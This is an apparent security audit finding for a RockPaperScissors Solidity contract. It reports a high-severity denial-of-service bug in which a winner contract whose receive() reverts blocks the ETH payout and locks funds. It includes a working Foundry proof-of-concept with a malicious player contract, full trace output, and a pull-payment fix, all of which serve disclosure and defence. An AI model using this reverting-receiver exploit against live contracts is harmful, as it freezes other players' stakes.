Description:
The contract RockPaperScissors.sol attempts to transfer ETH to the winner of a game using a low-level call. If the _winner is a contract that reverts on receiving ETH (e.g., using a receive() function that reverts), the transaction fails and the logic reverts entirely:
(bool success,) = _winner.call{value: prize}("");
require(success, "Transfer failed");
This allows a malicious player to win a game and then block its resolution entirely by refusing the payout, causing the game to be stuck in a pending state indefinitely. This constitutes a Denial of Service (DoS) vector
So
If the _winner is an attacking contract, its receive() can do this:
receive() external payable {
    revert("I don't want your ETH");
}
This results in:
Impact:
- 
The game cannot be marked as finished. 
- 
No prize can be withdrawn. 
- 
Funds remain locked in the contract. 
- 
The DoS is fully reproducible and prevents normal game flow. 
- 
Admin has no override mechanism. 
- 
Critical game logic is tightly coupled with external code execution 
Proof of Concept:
- 
A test contract called RPS_DoS.t.sol has been created for the proof of concept. 
- 
To run the test, simply execute: 
forge test --mt test_DoSOnWinnerPayout -vvvv
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol"; 
contract MaliciousPlayer {
    receive() external payable {
        revert("I refuse your ETH");
    }
    function getCommit() external pure returns (uint8 move, bytes32 salt, bytes32 commitment) {
        move = 1; 
        salt = keccak256("malicious");
        commitment = keccak256(abi.encodePacked(move, salt));
    }
}
contract RockPaperScissorsDoSTest is Test {
    RockPaperScissors public game;
    WinningToken public token;
    MaliciousPlayer public attacker;
    address public honest = address(0xA1);
    function setUp() public {
        game = new RockPaperScissors();
        token = game.winningToken();
        attacker = new MaliciousPlayer();
        
        vm.deal(honest, 1 ether);
        vm.deal(address(attacker), 1 ether);
    }
    function test_DoSOnWinnerPayout() public {
        
        vm.prank(honest);
        uint256 gameId = game.createGameWithEth{value: 0.5 ether}(1, 10 minutes);
        
        (,, bytes32 attackerCommit) = attacker.getCommit();
        
        vm.prank(address(attacker));
        game.joinGameWithEth{value: 0.5 ether}(gameId);
        
        vm.prank(honest);
        bytes32 saltHonest = keccak256("scissors");
        bytes32 commitHonest = keccak256(abi.encodePacked(uint8(3), saltHonest)); 
        game.commitMove(gameId, commitHonest);
        vm.prank(address(attacker));
        game.commitMove(gameId, attackerCommit);
        
        vm.prank(honest);
        game.revealMove(gameId, 3, saltHonest); 
        
        vm.expectRevert("Transfer failed");
        vm.prank(address(attacker));
        game.revealMove(gameId, 1, keccak256("malicious")); 
    }
}
Output (-vvvv):
❯ forge test --mt test_DoSOnWinnerPayout -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https:
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment. 
[⠒] Compiling...
[⠆] Compiling 1 files with Solc 0.8.20
[⠰] Solc 0.8.20 finished in 14.69s
Compiler run successful!
Ran 1 test for test/RPS_DoS.t.sol:RockPaperScissorsDoSTest
[PASS] test_DoSOnWinnerPayout() (gas: 381969)
Traces:
  [381969] RockPaperScissorsDoSTest::test_DoSOnWinnerPayout()
    ├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
    │   └─ ← [Return]
    ├─ [184325] RockPaperScissors::createGameWithEth{value: 500000000000000000}(1, 600)
    │   ├─ emit GameCreated(gameId: 0, creator: 0x00000000000000000000000000000000000000A1, bet: 500000000000000000 [5e17], totalTurns: 1)
    │   └─ ← [Return] 0
    ├─ [350] MaliciousPlayer::getCommit() [staticcall]
    │   └─ ← [Return] 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a
    ├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   └─ ← [Return]
    ├─ [24919] RockPaperScissors::joinGameWithEth{value: 500000000000000000}(0)
    │   ├─ emit PlayerJoined(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   └─ ← [Return]
    ├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
    │   └─ ← [Return]
    ├─ [47751] RockPaperScissors::commitMove(0, 0x5b2259b4e9b249588f0bf27d95d4bcc7030acc8a614c59d27d57007032701852)
    │   ├─ emit MoveCommitted(gameId: 0, player: 0x00000000000000000000000000000000000000A1, currentTurn: 1)
    │   └─ ← [Return]
    ├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   └─ ← [Return]
    ├─ [46119] RockPaperScissors::commitMove(0, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a)
    │   ├─ emit MoveCommitted(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
    │   └─ ← [Return]
    ├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
    │   └─ ← [Return]
    ├─ [4375] RockPaperScissors::revealMove(0, 3, 0x389a2d4e358d901bfdf22245f32b4b0a401cc16a4b92155a2ee5da98273dad9a)
    │   ├─ emit MoveRevealed(gameId: 0, player: 0x00000000000000000000000000000000000000A1, move: 3, currentTurn: 1)
    │   └─ ← [Return]
    ├─ [0] VM::expectRevert(custom error 0xf28dceb3:  Transfer failed)
    │   └─ ← [Return]
    ├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   └─ ← [Return]
    ├─ [39158] RockPaperScissors::revealMove(0, 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34)
    │   ├─ emit MoveRevealed(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], move: 1, currentTurn: 1)
    │   ├─ emit TurnCompleted(gameId: 0, winner: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
    │   ├─ emit FeeCollected(gameId: 0, feeAmount: 100000000000000000 [1e17])
    │   ├─ [160] MaliciousPlayer::receive{value: 900000000000000000}()
    │   │   └─ ← [Revert] revert: I refuse your ETH
    │   └─ ← [Revert] revert: Transfer failed
    └─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.09ms (218.16µs CPU time)
Ran 1 test suite in 593.43ms (1.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation:
Use the pull-payment pattern to avoid transferring ETH during game logic execution:
mapping(address => uint256) public pendingWithdrawals;
pendingWithdrawals[_winner] += prize;
function withdraw() external {
    uint256 amount = pendingWithdrawals[msg.sender];
    require(amount > 0, "Nothing to withdraw");
    pendingWithdrawals[msg.sender] = 0;
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Withdraw failed");
}
This ensures that even if a player refuses to accept ETH, the game logic proceeds normally and funds can still be withdrawn manually.
Classification:
- 
Severity: High 
- 
Type: Denial of Service (SWC-113) 
- 
Reproducibility: Confirmed with Forge test 
- 
Mitigation: Available and well-documented 
Conclusion: This issue poses a real risk to the integrity and availability of the RockPaperScissors protocol and should be addressed immediately.